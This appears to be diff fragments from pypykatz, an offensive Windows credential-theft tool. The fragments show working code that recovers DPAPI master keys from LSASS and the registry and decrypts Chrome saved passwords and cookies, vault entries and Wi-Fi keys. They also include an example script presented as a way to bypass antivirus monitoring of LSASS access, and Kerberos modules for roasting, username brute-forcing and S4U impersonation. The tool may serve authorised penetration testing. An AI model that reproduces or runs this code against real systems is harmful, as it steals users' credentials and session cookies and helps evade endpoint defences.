368 self.masterkeys[mkf.guid] = dec_key
369 mks[mkf.guid] = dec_key
328370
329371 if mkf.backupkey is not None:
330 for user_key in self.user_keys:
331 dec_key = mkf.backupkey.decrypt(user_key)
332 if dec_key:
333 self.backupkeys[mkf.guid] = dec_key
334 bks[mkf.guid] = dec_key
335
336 for machine_key in self.machine_keys:
337 dec_key = mkf.backupkey.decrypt(machine_key)
338 if dec_key:
339 self.backupkeys[mkf.guid] = dec_key
340 bks[mkf.guid] = dec_key
341
342 if key is not None:
343 dec_key = mkf.backupkey.decrypt(key)
344 if dec_key:
345 self.masterkeys[mkf.guid] = dec_key
346 bks[mkf.guid] = dec_key
372 if mkf.guid in self.masterkeys:
373 mks[mkf.guid] = self.masterkeys[mkf.guid]
374
375 else:
376 for user_key in self.prekeys:
377 dec_key = mkf.backupkey.decrypt(user_key)
378 if dec_key:
379 self.backupkeys[mkf.guid] = dec_key
380 bks[mkf.guid] = dec_key
381 break
382
383 if key is not None:
384 dec_key = mkf.backupkey.decrypt(key)
385 if dec_key:
386 self.masterkeys[mkf.guid] = dec_key
387 bks[mkf.guid] = dec_key
347388
348389 return mks, bks
349390
350 def decrypt_credential_file(self, file_path, key = None):
391 def decrypt_credential_file(self, file_path):
351392 """
352393 Decrypts CredentialFile
353394 file_path: path to CredentialFile
354 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
355395 returns: CREDENTIAL_BLOB object
356396 """
357 if key is not None:
358 if isinstance(key, str):
359 key = bytes.fromhex(key)
360397 with open(file_path, 'rb') as f:
361 return self.decrypt_credential_bytes(f.read(), key = key)
362
363 def decrypt_credential_bytes(self, data, key = None):
398 return self.decrypt_credential_bytes(f.read())
399
400 def decrypt_credential_bytes(self, data):
364401 """
365402 Decrypts CredentialFile bytes
366403 CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext.
367404 Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown"
368405
369406 data: CredentialFile bytes
370 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
371407 returns: CREDENTIAL_BLOB object
372408 """
373409 cred = CredentialFile.from_bytes(data)
374 dec_data = self.decrypt_blob(cred.blob, key = key)
410 dec_data = self.decrypt_blob_bytes(cred.data)
375411 cb = CREDENTIAL_BLOB.from_bytes(dec_data)
376412 return cb
377413
398434 data: DPAPI_BLOB bytes
399435 returns: bytes of the cleartext data
400436 """
437 if self.use_winapi is True:
438 from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData
439 return CryptUnprotectData(data)
440
401441 blob = DPAPI_BLOB.from_bytes(data)
442 logger.debug(str(blob))
402443 return self.decrypt_blob(blob, key = key)
403444
404 def decrypt_vcrd_file(self, file_path, key = None):
445 def decrypt_vcrd_file(self, file_path):
405446 """
406447 Decrypts a VCRD file
407448 Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd
409450 file_path: path to the vcrd file
410451 returns: dictionary of attrbitues as key, and a list of possible decrypted data
411452 """
412
413 if key is not None:
414 if isinstance(key, str):
415 key = bytes.fromhex(key)
416
417453 with open(file_path, 'rb') as f:
418 return self.decrypt_vcrd_bytes(f.read(), key = key)
419
420 def decrypt_vcrd_bytes(self, data, key = None):
454 return self.decrypt_vcrd_bytes(f.read())
455
456 def decrypt_vcrd_bytes(self, data):
421457 """
422458 Decrypts VCRD file bytes.
423459
425461 returns: dictionary of attrbitues as key, and a list of possible decrypted data
426462 """
427463 vv = VAULT_VCRD.from_bytes(data)
428 return self.decrypt_vcrd(vv, key = key)
429
430 def decrypt_vcrd(self, vcrd, key = None):
464 return self.decrypt_vcrd(vv)
465
466 def decrypt_vcrd(self, vcrd):
431467 """
432468 Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates
433469 A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre
449485 return cleartext
450486
451487 res = {}
452 if key is None:
453 for i, key in enumerate(self.vault_keys):
454 for attr in vcrd.attributes:
455 cleartext = decrypt_attr(attr, key)
456 if attr not in res:
457 res[attr] = []
458 res[attr].append(cleartext)
459 else:
488 for i, key in enumerate(self.vault_keys):
460489 for attr in vcrd.attributes:
461 decrypt_attr(attr, key)
490 cleartext = decrypt_attr(attr, key)
462491 if attr not in res:
463492 res[attr] = []
464493 res[attr].append(cleartext)
465
466494 return res
467495
468 def decrypt_vpol_bytes(self, data, key = None):
496 def decrypt_vpol_bytes(self, data):
469497 """
470498 Decrypts the VPOL file, and returns the two keys' bytes
471499 A VPOL file stores two encryption keys.
474502 returns touple of bytes, describing two keys
475503 """
476504 vpol = VAULT_VPOL.from_bytes(data)
477 res = self.decrypt_blob(vpol.blob, key = key)
505 res = self.decrypt_blob_bytes(vpol.blobdata)
478506
479507 keys = VAULT_VPOL_KEYS.from_bytes(res)
480508
483511
484512 return keys.key1.get_key(), keys.key2.get_key()
485513
486 def decrypt_vpol_file(self, file_path, key = None):
514 def decrypt_vpol_file(self, file_path):
487515 """
488516 Decrypts a VPOL file
489517 Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol
492520 keys: Optional.
493521 returns: touple of bytes, describing two keys
494522 """
495 if key is not None:
496 if isinstance(key, str):
497 key = bytes.fromhex(key)
498523 with open(file_path, 'rb') as f:
499 return self.decrypt_vpol_bytes(f.read(), key = key)
500
524 return self.decrypt_vpol_bytes(f.read())
525
526 def decrypt_securestring_bytes(self, data):
527 return self.decrypt_blob_bytes(data)
528
529 def decrypt_securestring_hex(self, hex_str):
530 return self.decrypt_securestring_bytes(bytes.fromhex(hex_str))
531
532 def decrypt_securestring_file(self, file_path):
533 with open(file_path, 'r') as f:
534 data = f.read()
535 return self.decrypt_securestring_hex(data)
536
537
538 @staticmethod
539 def find_masterkey_files_live():
540 windows_loc = DPAPI.get_windows_dir_live()
541 user_folder = DPAPI.get_users_dir_live()
542
543 return DPAPI.find_masterkey_files_offline(user_folder, windows_loc)
544
545 @staticmethod
546 def find_masterkey_files_offline(users_path, windows_path):
547 def is_guid(fname):
548 if os.path.isfile(filename) is True:
549 base = ntpath.basename(filename)
550 if base.find('-') == -1:
551 return False
552 try:
553 bytes.fromhex(base.replace('-',''))
554 except:
555 return False
556 return True
557 return False
558
559 masterkey_files = {}
560 for filename in glob.glob(os.path.join(windows_path, "System32","Microsoft","Protect", "**"), recursive = True):
561 if is_guid(filename) is True:
562 logger.debug('GUID SYSTEM FILE: %s' % filename)
563 masterkey_files[ntpath.basename(filename)] = filename
564
565 user_folders = {}
566 for filename in glob.glob(os.path.join(users_path, '*'), recursive=False):
567 if os.path.isdir(filename):
568 user_folders[filename] = 1
569
570 for subfolder in ['Local', 'Roaming', 'LocalLow']:
571 for user_folder in user_folders:
572 for filename in glob.glob(os.path.join(user_folder, "AppData", subfolder, "Microsoft", "Protect", '**'), recursive = True):
573 if is_guid(filename) is True:
574 masterkey_files[ntpath.basename(filename)] = filename
575 logger.debug('GUID USER FILE: %s' % filename)
576
577 return masterkey_files
578
579 @staticmethod
580 def get_users_dir_live():
581 username = os.environ.get('USERNAME')
582 userprofile_loc = os.environ.get('USERPROFILE')
583 username = os.environ.get('USERNAME')
584 return userprofile_loc[:-len(username)]
585
586 @staticmethod
587 def get_windows_dir_live():
588 return os.environ.get('SystemRoot')
589
590 @staticmethod
591 def get_windows_drive_live():
592 return os.environ.get('SystemDrive')[0]
593
594 @staticmethod
595 def find_chrome_database_file_live():
596 return DPAPI.find_chrome_database_file_offline(DPAPI.get_users_dir_live())
597
598 @staticmethod
599 def find_chrome_database_file_offline(users_path):
600 db_paths = {} # username -> files
601 user_folders = {} # username -> folder
602
603 for filename in glob.glob(os.path.join(users_path, '*'), recursive=False):
604 if os.path.isdir(filename):
605 username = ntpath.basename(filename)
606 if username not in user_folders:
607 user_folders[username] = []
608 user_folders[username].append(filename)
609
610 for subfolder_1 in ['Local', 'Roaming', 'LocalLow']:
611 for subfolder_2 in ['', 'Google']:
612 for username in user_folders:
613 if username not in db_paths:
614 db_paths[username] = {}
615 for user_folder in user_folders[username]:
616 db_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Login Data' )
617 if os.path.isfile(db_path) is True:
618 db_paths[username]['logindata'] = db_path
619 logger.debug('CHROME LOGINS DB FILE: %s' % db_path)
620
621 db_cookies_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Cookies' )
622 if os.path.isfile(db_cookies_path) is True:
623 db_paths[username]['cookies'] = db_cookies_path
624 logger.debug('CHROME COOKIES DB FILE: %s' % db_cookies_path)
625
626 localstate_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data', 'Local State' )
627 if os.path.isfile(localstate_path) is True:
628 db_paths[username]['localstate'] = localstate_path
629 logger.debug('CHROME localstate FILE: %s' % localstate_path)
630
631 return db_paths
632
633 @staticmethod
634 def get_chrome_encrypted_secret(db_path):
635 results = {}
636 results['logins'] = []
637 results['cookies'] = []
638 results['localstate'] = []
639
640 try:
641 conn = sqlite3.connect(db_path)
642 cursor = conn.cursor()
643 except Exception as e:
644 logger.debug('Failed to open chrome DB file %s' % db_path)
645 return results
646
647 if ntpath.basename(db_path).lower() == 'cookies':
648 try:
649 #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
650 cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies')
651 except Exception as e:
652 logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e))
653 return results
654
655 for host_key, name, path, encrypted_value in cursor.fetchall():
656 results['cookies'].append((host_key, name, path, encrypted_value))
657
658 elif ntpath.basename(db_path).lower() == 'login data':
659
660 try:
661 #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
662 cursor.execute('SELECT action_url, username_value, password_value FROM logins')
663 except Exception as e:
664 logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e))
665 return results
666
667 for url, user, enc_pw in cursor.fetchall():
668 results['logins'].append((url, user, enc_pw))
669
670 return results
671
672 def decrypt_all_chrome_live(self):
673 results = {}
674 results['logins'] = []
675 results['cookies'] = []
676 localstate_dec = None
677
678 dbpaths = DPAPI.find_chrome_database_file_live()
679 for username in dbpaths:
680 if 'localstate' in dbpaths[username]:
681 with open(dbpaths[username]['localstate'], 'r') as f:
682 encrypted_key = json.load(f)['os_crypt']['encrypted_key']
683 encrypted_key = base64.b64decode(encrypted_key)
684
685 localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
686
687 if 'cookies' in dbpaths[username]:
688 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'])
689 for host_key, name, path, encrypted_value in secrets['cookies']:
690 if encrypted_value.startswith(b'v10'):
691 nonce = encrypted_value[3:3+12]
692 ciphertext = encrypted_value[3+12:-16]
693 tag = encrypted_value[-16:]
694 cipher = AES_GCM(localstate_dec)
695 dec_val = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'')
696 results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
697 else:
698 dec_val = self.decrypt_blob_bytes(encrypted_value)
699 results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
700
701 if 'logindata' in dbpaths[username]:
702 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'])
703 for url, user, enc_password in secrets['logins']:
704 password = self.decrypt_blob_bytes(enc_password)
705 results['logins'].append((dbpaths[username]['logindata'], url, user, password ))
706
707
708 return results
709
710 def get_all_masterkeys_live(self):
711 try:
712 self.get_all_keys_from_lsass_live()
713 except:
714 logger.debug('Failed to get masterkeys/prekeys from LSASS!')
715
716 try:
717 self.get_prekeys_form_registry_live()
718 except Exception as e:
719 logger.debug('Failed to get masterkeys/prekeys from registry!')
720
721 mkfiles = DPAPI.find_masterkey_files_live()
722 for guid in mkfiles:
723 logger.debug('Decrypting masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid]))
724 mk, bk = self.decrypt_masterkey_file(mkfiles[guid])
725 if len(mk) > 0 or len(bk) > 0:
726 logger.debug('Decrypted masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid]))
727 else:
728 logger.debug('Failed to decrypt masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid]))
729
730 return self.masterkeys, self.backupkeys
731
732 @staticmethod
733 def parse_wifi_config_file(filepath):
734 wifi = {}
735 tree = ET.parse(filepath)
736 root = tree.getroot()
737
738 for child in root:
739 if child.tag.endswith('}name'):
740 wifi['name'] = child.text
741 elif child.tag.endswith('}MSM'):
742 for pc in child.iter():
743 if pc.tag.endswith('}keyMaterial'):
744 wifi['enckey'] = pc.text
745 return wifi
746
747 @staticmethod
748 def get_all_wifi_settings_offline(system_drive_letter):
749 wifis = []
750 for filename in glob.glob(system_drive_letter+':\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\**', recursive=True):
751 if filename.endswith('.xml'):
752 wifi = DPAPI.parse_wifi_config_file(filename)
753 wifis.append(wifi)
754 return wifis
755
756 @staticmethod
757 def get_all_wifi_settings_live():
758 return DPAPI.get_all_wifi_settings_offline(DPAPI.get_windows_drive_live())
759
760 def decrypt_wifi_live(self):
761 # key is encrypted as system!!!
762 pm = ProcessManipulator()
763 try:
764 try:
765 pm.getsystem()
766 except Exception as e:
767 raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e)
768
769 for wificonfig in DPAPI.get_all_wifi_settings_live():
770 if 'enckey' in wificonfig and wificonfig['enckey'] != '':
771 wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey'])
772 yield wificonfig
773
774 finally:
775 pm.dropsystem()
776
777 # arpparse helper
778 def prepare_dpapi_live(methods = [], mkf = None, pkf = None):
779 dpapi = DPAPI()
780
781 if mkf is not None:
782 dpapi.load_masterkeys(mkf)
783 if pkf is not None:
784 dpapi.load_prekeys(mkf)
785
786 if 'all' in methods:
787 dpapi.get_all_masterkeys_live()
788 if 'registry' in methods and 'all' not in methods:
789 dpapi.get_prekeys_form_registry_live()
790 if 'lsass' in methods and 'all' not in methods:
791 dpapi.get_masterkeys_from_lsass_live()
792
793 return dpapi
0 from ctypes import byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError
1
2 LPWSTR = c_wchar_p
3 LPVOID = c_void_p
4 PVOID = LPVOID
5 PPVOID = POINTER(PVOID)
6 DWORD = c_uint32
7
8 def RaiseIfZero(result, func = None, arguments = ()):
9 """
10 Error checking for most Win32 API calls.
11
12 The function is assumed to return an integer, which is C{0} on error.
13 In that case the C{WindowsError} exception is raised.
14 """
15 if not result:
16 raise WinError()
17 return result
18
19 class DATA_BLOB(Structure):
20 _fields_ = [
21 ('cbData', DWORD),
22 ('pbData', POINTER(c_char))
23 ]
24 PDATA_BLOB = POINTER(DATA_BLOB)
25
26 # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata
27 def CryptUnprotectData(enc_blob, entropy = None, to_prompt = False):
28 _CryptUnprotectData = windll.crypt32.CryptUnprotectData
29 _CryptUnprotectData.argtypes = [PDATA_BLOB, LPWSTR, PDATA_BLOB, PVOID, DWORD, DWORD, PDATA_BLOB]
30 _CryptUnprotectData.restype = bool
31 _CryptUnprotectData.errcheck = RaiseIfZero
32
33 buffer_in = c_buffer(enc_blob, len(enc_blob))
34 blob_in = DATA_BLOB(len(enc_blob), buffer_in)
35 blob_out = DATA_BLOB()
36
37 if entropy is not None:
38 buffer_entropy = c_buffer(entropy, len(entropy))
39 blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
40 _CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0, byref(blob_out))
41 else:
42 _CryptUnprotectData(byref(blob_in), None, None, None, 0, 0, byref(blob_out))
43
44 dec_data = string_at(blob_out.pbData, blob_out.cbData)
45 return dec_data
46
47 if __name__ == '__main__':
48 enc_data = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f3d1f4bf6f35b469eb9719205c9c1160000000002000000000003660000c000000010000000ef8ad11a2c0a0fa867c4bc8ea535c3b10000000004800000a000000010000000beb718a641f76dff7fb9f6edb0da69061800000068cdb387e412d6e097cd7db04af8638247b9b4987cd5048714000000bb10d25466234b082ac4052360ed3d57e8951367')
49 dec_data = CryptUnprotectData(enc_data)
50 print(dec_data)
182182 self.guid3 = None
183183 self.key_size = None
184184 self.blob = None #encrypted VAULT_VPOL_KEYS
185 self.blobdata = None #encrypted VAULT_VPOL_KEYS
185186
186187 @staticmethod
187188 def from_bytes(data):
199200 sk.guid2 = GUID(buff).value
200201 sk.guid3 = GUID(buff).value
201202 sk.key_size = int.from_bytes(buff.read(4), 'little', signed = False)
202 sk.blob = DPAPI_BLOB.from_bytes(buff.read(sk.key_size))
203 sk.blobdata = buff.read(sk.key_size)
204 sk.blob = DPAPI_BLOB.from_bytes(sk.blobdata)
203205
204206 return sk
205207
0
1 #
2 # In case you happen to have a DLL that has an export which returns a handle to LSASS process
3 # You can use this example to load such DLL via ctypes and call pypykatz using said handle
4 # Might be interesting to bypass AV monitoring openprocess on LSASS
5 #
6
7 from ctypes import windll, c_void_p
8 from pypykatz.pypykatz import pypykatz
9
10 dll_path = ''
11
12 def get_lsass_handle():
13 your_dll = windll.LoadLibrary(dll_path)
14 _your_function = your_dll.your_function
15 _your_function.argtypes = [] #I guess no args
16 _your_function.restype = c_void_p #this is basically a handle
17
18 phandle = _your_function()
19
20 return phandle
21
22
23 phandle = get_lsass_handle()
24 res = pypykatz.go_live_phandle(phandle)
25 print(str(res))
33 # Tamas Jos (@skelsec)
44 #
55
6 from pypykatz import logging
6 import base64
7 import platform
8 import argparse
9 import asyncio
10 from pypykatz import logger
11 import traceback
12
13 from minikerberos.common.utils import print_table
14 from pypykatz.commons.filetime import filetime_to_dt
15 from pypykatz.commons.common import geterr
16 from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \
17 brute, asreproast, spnroast, s4u, process_keytab, list_ccache, \
18 del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache
19
20 from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi
721
822 """
923 Kerberos is not part of pypykatz directly.
10 This is a wrapper for minikerberos and winsspi packages
24 This is a wrapper for minikerberos
1125 """
1226
1327 class KerberosCMDHelper:
1428 def __init__(self):
1529 self.live_keywords = ['kerberos']
16 self.keywords = []
17
30 self.keywords = ['kerberos']
31
32 @staticmethod
33 def luid_converter(luid):
34 if luid.startswith('0x') is True:
35 luid = int(luid, 16)
36 return int(luid)
37
1838 def add_args(self, parser, live_parser):
19 live_group = live_parser.add_parser('kerberos', help='Kerberos (live) related commands')
20 live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)')
21 live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.')
22 live_group.add_argument('cmd', choices=['spnroast', 'asreproast'])
23 live_group.add_argument('-o','--out-file', help= 'File to stroe results in')
24 live_group.add_argument('-t','--target-file', help= 'List of target users to roast. One user per line. Format: asreproast->username spnroast->domain/username')
25 live_group.add_argument('-u','--target-user', action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
26 live_group.add_argument('-r','--realm', help= 'Kerberos Realm.')
27
39 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
40 live_kerberos_subparsers = live_subcommand_parser.add_subparsers(help = 'live_kerberos_module')
41 live_kerberos_subparsers.required = True
42 live_kerberos_subparsers.dest = 'live_kerberos_module'
43
44 live_luid_parser = live_kerberos_subparsers.add_parser('currentluid', help = 'Prints out the LUID of the current user')
45
46 live_roast_parser = live_kerberos_subparsers.add_parser('roast', help = 'Automatically run spnroast and asreproast')
47 live_roast_parser.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in')
48
49 live_tgs_parser = live_kerberos_subparsers.add_parser('tgt', help = 'Request a TGT ticket. It may work better specifying the target as cifs/<domain.corp>')
50 live_tgs_parser.add_argument('--target', help='SPN string of the service to request the ticket for')
51 live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name')
52
53 live_tgs_parser = live_kerberos_subparsers.add_parser('apreq', help = 'Request a APREQ ticket for a given service')
54 live_tgs_parser.add_argument('target', help='SPN string of the service to request the ticket for')
55 live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name')
56
57 live_purge_parser = live_kerberos_subparsers.add_parser('purge', help = 'Purge all tickets. For the current user use --luid 0')
58 live_purge_parser.add_argument('--luid', help='LUID of the user whose tickets to be purged. Use "0x" if you specify a hex value!')
59
60 live_sessions_parser = live_kerberos_subparsers.add_parser('sessions', help = 'List user sessions. Needs elevated privileges.')
61
62 live_export_parser = live_kerberos_subparsers.add_parser('dump', help = 'Fetches tickets for a given session or all sessions from memory and prints or exports them as .kirbi files')
63 live_export_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!')
64 live_export_parser.add_argument('-o', '--outdir', help='path to kirbi directory')
65
66 live_triage_parser = live_kerberos_subparsers.add_parser('triage', help = 'List tickets for a given session or all sessions')
67 live_triage_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!')
68
69 live_parser.add_parser('kerberos', help = 'Kerberos related commands', parents=[live_subcommand_parser])
70
71 #offline part
72 #ccache part
73 ccache_subcommand_parser = argparse.ArgumentParser(add_help=False)
74 kerberos_ccache_subparsers = ccache_subcommand_parser.add_subparsers(help = 'ccache_command')
75 kerberos_ccache_subparsers.required = True
76 kerberos_ccache_subparsers.dest = 'ccache_module'
77
78 ccache_list = kerberos_ccache_subparsers.add_parser('list', help = 'List ccache file contents')
79 ccache_list.add_argument('ccachefile', help='path to CCACHE file')
80
81 ccache_del = kerberos_ccache_subparsers.add_parser('del', help = 'Delete tickets from ccache file based on their order. To get the order user the list command.')
82 ccache_del.add_argument('ccachefile', help='path to CCACHE file')
83 ccache_del.add_argument('index', type=int, help='ticket index to delete')
84
85 ccache_roast = kerberos_ccache_subparsers.add_parser('roast', help = 'Convert stored tickets to hashcat crackable format')
86 ccache_roast.add_argument('ccachefile', help='path to CCACHE file')
87 ccache_roast.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in')
88
89 ccache_kirbi = kerberos_ccache_subparsers.add_parser('loadkirbi', help = 'Add kirbi file to ccache file.')
90 ccache_kirbi.add_argument('ccachefile', help='path to CCACHE file')
91 ccache_kirbi.add_argument('kirbifile', help='path to kirbi file / directory')
92
93 ccache_kirbi = kerberos_ccache_subparsers.add_parser('exportkirbi', help = 'Export tickets to kirbi files. One ticket per file.')
94 ccache_kirbi.add_argument('ccachefile',help='path to CCACHE file')
95 ccache_kirbi.add_argument('kirbidir', help='path to kirbi directory ')
96
97
98 #kirbi
99 kirbi_subcommand_parser = argparse.ArgumentParser(add_help=False)
100 kerberos_kirbi_subparsers = kirbi_subcommand_parser.add_subparsers(help = 'kirbi_command')
101 kerberos_kirbi_subparsers.required = True
102 kerberos_kirbi_subparsers.dest = 'kirbi_module'
103
104 kirbi_list = kerberos_kirbi_subparsers.add_parser('parse', help = 'Parse kirbi file and show the ticket')
105 kirbi_list.add_argument('kirbifile', help='path to kirbi file')
106
107
108 kerberos_group = parser.add_parser('kerberos', help='Kerberos related commands')
109 kerberos_subparsers = kerberos_group.add_subparsers()
110 kerberos_subparsers.required = True
111 kerberos_subparsers.dest = 'kerberos_module'
112
113 tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user')
114 tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"')
115 tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
116
117 tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user')
118 tgs_parser.add_argument('url', help='user credentials in URL format')
119 tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for')
120 tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
121
122 brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames')
123 brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
124 brute_parser.add_argument('-o','--out-file', help='Output file to store the found usernames.')
125 brute_parser.add_argument('-n','--show-negatives', action='store_true', help='Print failed enumerations')
126 brute_parser.add_argument('address', help='Kerberos server IP/hostname')
127 brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
128
129 asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast')
130 asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
131 asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
132 asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
133 asreproast_parser.add_argument('address', help='Kerberos server IP/hostname')
134 asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
135
136 spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast')
137 spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
138 spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
139 spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
140 spnroast_parser.add_argument('url', help='user credentials in URL format')
141 spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
142
143 s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user')
144 s4u_parser.add_argument('url', help='user credentials in URL format')
145 s4u_parser.add_argument('spn', help='SPN string of the service to request the ticket for')
146 s4u_parser.add_argument('targetuser', help='')
147 s4u_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
148
149 keytab_parser = kerberos_subparsers.add_parser('keytab', help = 'Parse keytab file, list secret key(s)')
150 keytab_parser.add_argument('keytabfile', help='user credentials in URL format')
151
152 ccache_parser = kerberos_subparsers.add_parser('ccache', help = 'Parse/Edit ccache file', parents=[ccache_subcommand_parser])
153 kirbi_parser = kerberos_subparsers.add_parser('kirbi', help = 'Parse/Edit kirbi file', parents=[kirbi_subcommand_parser])
28154
29155 def execute(self, args):
30156 if len(self.keywords) > 0 and args.command in self.keywords:
35161
36162
37163 def run_live(self, args):
38 from winsspi.sspi import KerberoastSSPI
39 from minikerberos.security import TGSTicket2hashcat, APREPRoast
40 from minikerberos.utils import TGTTicket2hashcat
41 from minikerberos.communication import KerberosSocket
42 from minikerberos.common import KerberosTarget
43 from pypykatz.commons.winapi.machine import LiveMachine
44
45 if not args.target_file and not args.target_user:
46 raise Exception('No targets loaded! Either -u or -t MUST be specified!')
47
48 machine = LiveMachine()
49
50 realm = args.realm
51 if not args.realm:
52 realm = machine.get_domain()
53
54 if args.cmd in ['spnroast','asreproast']:
55 targets = []
56 if args.target_file:
57 with open(args.target_file, 'r') as f:
58 for line in f:
59 line = line.strip()
60 domain = None
61 username = None
62 if line.find('/') != -1:
63 #we take for granted that usernames do not have the char / in them!
64 domain, username = line.split('/')
65 else:
66 username = line
67
68 if args.realm:
69 domain = args.realm
70 else:
71 if domain is None:
72 raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
73
74 target = KerberosTarget()
75 target.username = username
76 target.domain = domain
77 targets.append(target)
78
79 if args.target_user:
80 for user in args.target_user:
81 domain = None
82 username = None
83 if user.find('/') != -1:
84 #we take for granted that usernames do not have the char / in them!
85 domain, username = user.split('/')
86 else:
87 username = user
88
89 if args.realm:
90 domain = args.realm
91 else:
92 if domain is None:
93 raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
94 target = KerberosTarget()
95 target.username = username
96 target.domain = domain
97 targets.append(target)
98
99 results = []
100 errors = []
101 if args.cmd == 'spnroast':
102 for spn_name in targets:
103 ksspi = KerberoastSSPI()
104 try:
105 ticket = ksspi.get_ticket_for_spn(spn_name.get_formatted_pname())
106 except Exception as e:
107 errors.append((spn_name, e))
164 if platform.system() != 'Windows':
165 print('[-]This command only works on Windows!')
166 return
167
168 from pypykatz.kerberos.kerberoslive import KerberosLive, live_roast # , purge, list_sessions #get_tgt, get_tgs
169 kl = KerberosLive()
170
171 if args.live_kerberos_module == 'roast':
172 res, errors, err = asyncio.run(live_roast(args.out_file))
173 if err is not None:
174 print('[LIVE][KERBEROS][ROAST] Error while roasting tickets! Reason: %s' % geterr(err))
175 return
176 if args.out_file is None:
177 for r in res:
178 print(r)
179
180 elif args.live_kerberos_module == 'tgt':
181 ticket = kl.get_tgt(args.target)
182 if args.out_file is None:
183 print_kirbi(ticket)
184 return
185
186 with open(args.out_file, 'wb') as f:
187 f.write(ticket)
188
189 elif args.live_kerberos_module == 'apreq':
190 apreq, sessionkey = kl.get_apreq(args.target)
191 print('APREQ b64: ')
192 print(format_kirbi(apreq.dump()))
193 print('Sessionkey b64: %s' % base64.b64encode(sessionkey).decode())
194
195
196 elif args.live_kerberos_module == 'currentluid':
197 print(hex(kl.get_current_luid()))
198
